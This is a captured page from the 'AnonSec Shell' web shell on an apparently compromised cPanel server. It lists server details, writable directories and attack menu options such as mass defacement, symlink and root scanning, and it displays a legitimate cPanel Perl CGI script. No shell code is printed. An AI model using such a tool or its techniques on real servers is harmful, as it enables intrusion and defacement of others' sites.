AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/2388321/root/proc/2388321/cwd/backend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/2388321/root/proc/2388321/cwd/backend/webdiskvbs.cgi
#!/usr/local/cpanel/3rdparty/bin/perl
#                                      Copyright 2024 WebPros International, LLC
#                                                           All rights reserved.
# [email protected]                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use cPstrict;
use Cpanel::Encoder::URI  ();
use Cpanel::Encoder::Tiny ();

my ( $domain, $ssl, $port ) = split( /\|/, Cpanel::Encoder::URI::uri_decode_str( $ENV{'QUERY_STRING'} ) );

# Output encode the values
my $domain = Cpanel::Encoder::Tiny::safe_html_encode_str($domain);

# Normalize values
$ssl  = int($ssl);
$port = int($port);
$port = $port ? $port : $ssl ? '2078' : '2077';

my $url       = ( $ssl ? 'https://' : 'http://' ) . $domain . ':' . $port . '/';
my $secure    = $ssl ? 'Secure ' : '';
my $txtsecure = $ssl ? 'Secure ' : '';
my $usecure   = $ssl ? 'Secure_' : '';

print <<EOM;
Content-Type: application/download; name="${domain} ${secure}WebDisk.vbs";
Content-Disposition: attachment; filename="${domain} ${secure}WebDisk.vbs";

EOM

open( my $wdisk_fh, '<', '/usr/local/cpanel/base/backend/webdisk.vbs' ) or die $!;
while ( readline($wdisk_fh) ) {
    s/\%domain\%/$domain/g;
    s/\%url\%/$url/g;
    s/\%txtsecure\%/$txtsecure/g;
    s/\%secure\%/$secure/g;
    s/\%usecure\%/$usecure/g;
    print;
}
close($wdisk_fh);

Anon7 - 2022
AnonSec Team